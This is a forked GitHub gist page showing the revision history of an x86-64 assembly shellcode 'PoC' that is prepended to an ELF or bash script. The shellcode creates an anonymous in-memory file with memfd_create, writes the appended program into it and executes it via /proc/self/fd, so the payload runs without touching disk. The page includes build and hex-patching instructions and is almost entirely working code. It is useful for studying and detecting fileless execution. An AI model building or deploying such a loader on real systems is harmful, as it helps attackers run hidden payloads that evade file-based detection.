Skip to content

Instantly share code, notes, and snippets.

@v4nyl
Forked from zznop/mem-loader.asm
Created September 15, 2021 18:48
Show Gist options
  • Save v4nyl/abe3970596d2375310daf537d02e15e4 to your computer and use it in GitHub Desktop.
Save v4nyl/abe3970596d2375310daf537d02e15e4 to your computer and use it in GitHub Desktop.

Revisions

  1. Brandon Miller revised this gist Aug 16, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mem-loader.asm
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;
    ;;; Copyright (C), zznop, zznop0x90@gmail.com
    ;;; Copyright (C), zznop, brandonkmiller@protonmail.com
    ;;;
    ;;; This software may be modified and distributed under the terms
    ;;; of the MIT license. See the LICENSE file for details.
  2. Brandon Miller revised this gist Oct 7, 2018. 1 changed file with 4 additions and 4 deletions.
    8 changes: 4 additions & 4 deletions mem-loader.asm
    Original file line number Diff line number Diff line change
    @@ -76,15 +76,15 @@ fixup_fd_path:
    xor bx, bx ; count digits
    .divide:
    xor rdx, rdx ; high part = 0
    div rcx ; eax = edx:eax/ecx, edx = remainder
    push dx ; DL is a digit in range [0..9]
    div rcx ; rcx = rcx:rax/rcx, rdx = remainder
    push dx ; dx is a digit in range [0..9]
    inc bx ; count digits
    test rax, rax ; EAX is 0?
    test rax, rax ; rax is 0?
    jnz .divide ; no, continue

    ; pop digits from stack in reverse order
    mov cx, bx ; number of digits
    lea rsi, [rel fd_path] ; DS:SI points to fd path string buffer
    lea rsi, [rel fd_path] ; rsi points to fd path string buffer
    add rsi, 14 ; start of location to write the fd (as a string)
    .next_digit:
    pop ax
  3. Brandon Miller revised this gist Oct 7, 2018. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions mem-loader.asm
    Original file line number Diff line number Diff line change
    @@ -8,8 +8,8 @@
    ;;; DESCRIPTION
    ;;;
    ;;; This PoC shellcode is meant to be compiled as a blob and prepended to a ELF
    ;;; (or bash script). It opens an anonymous file descriptor (backed by the heap)
    ;;; using the memfd_create syscall. It proceeds to write the executable to the
    ;;; (or bash script). It opens an anonymous file descriptor (backed by vmem)
    ;;; using the memfd_create syscall and proceeds to write the executable to the
    ;;; anonymous file descriptor and exec it.
    ;;;
    ;;; USAGE
  4. Brandon Miller created this gist Oct 7, 2018.
    98 changes: 98 additions & 0 deletions mem-loader.asm
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,98 @@
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;
    ;;; Copyright (C), zznop, [email protected]
    ;;;
    ;;; This software may be modified and distributed under the terms
    ;;; of the MIT license. See the LICENSE file for details.
    ;;;
    ;;; DESCRIPTION
    ;;;
    ;;; This PoC shellcode is meant to be compiled as a blob and prepended to a ELF
    ;;; (or bash script). It opens an anonymous file descriptor (backed by the heap)
    ;;; using the memfd_create syscall. It proceeds to write the executable to the
    ;;; anonymous file descriptor and exec it.
    ;;;
    ;;; USAGE
    ;;;
    ;;; $ nasm -f bin -o mem-loader.bin mem-loader.asm
    ;;; $ cat mem-loader.bin script.sh > mem-loader-final.bin
    ;;;
    ;;; Then use a hex editor and fixup executable_size placeholder with the size of
    ;;; the appended executable (little endian). The placeholder value is 8 bytes
    ;;; (all A's) and starts at byte 3.
    ;;;
    ;;; Resources:
    ;;; https://x-c3ll.github.io/posts/fileless-memfd_create/
    ;;; https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
    ;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [bits 64]

    global start

    _start:
    jmp past

    executable_size: dq 0x4141414141414141 ; fixed up with size of executable
    fd_name: db 0 ; emtpy file descriptor name
    fd_path: db "/proc/self/fd/", 0, 0, 0, 0, 0 ; path to file descriptor for exec call

    past:
    mov rax, 319 ; __NR_memfd_create syscall num
    lea rdi, [rel fd_name] ; ptr to empty file descriptor name
    mov rsi, 1 ; MFD_CLOEXEC (close file descriptor on exec)
    syscall ; create anonymous fd
    test rax, rax ; good file descriptor?
    js done ; return if bad file descriptor
    mov rdi, rax ; file descriptor (arg_0)
    mov rax, 1 ; __NR_write
    lea rsi, [rel executable] ; pointer to executable base (arg_1)
    mov rdx, qword [rel executable_size] ; load size of executable into rdx (arg_2)
    syscall ; write the executable to the fd
    cmp rax, rdx ; did everything get written successfully?
    jnz done ; fail out if all bytes were not written
    call fixup_fd_path ; fixup the fd path string by converting the fd to a str
    mov rax, 59 ; execve syscall num
    lea rdi, [rel fd_path] ; filename
    xor rcx, rcx ; zeroize rcx (terminator for argv)
    push rcx ; push 0 to stack
    push rdi ; push address of fd path to the stack
    mov rsi, rsp ; argv (address of fd path, null)
    xor rdx, rdx ; envp = NULL
    syscall ; call execve (won't return if successful)
    add rsp, 16 ; restore the stack
    done:
    ret ; return

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;; fixup the fd path string with the file descrpitor -
    ;;; basically sprintf(foo, "/proc/self/fd/%i", fd);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    fixup_fd_path:
    mov rax, rdi ; number to be converted
    mov rcx, 10 ; divisor
    xor bx, bx ; count digits
    .divide:
    xor rdx, rdx ; high part = 0
    div rcx ; eax = edx:eax/ecx, edx = remainder
    push dx ; DL is a digit in range [0..9]
    inc bx ; count digits
    test rax, rax ; EAX is 0?
    jnz .divide ; no, continue

    ; pop digits from stack in reverse order
    mov cx, bx ; number of digits
    lea rsi, [rel fd_path] ; DS:SI points to fd path string buffer
    add rsi, 14 ; start of location to write the fd (as a string)
    .next_digit:
    pop ax
    add al, '0' ; convert to ASCII
    mov [rsi], al ; write it to the buffer
    inc si
    loop .next_digit
    ret

    ; appended script or ELF executable
    executable: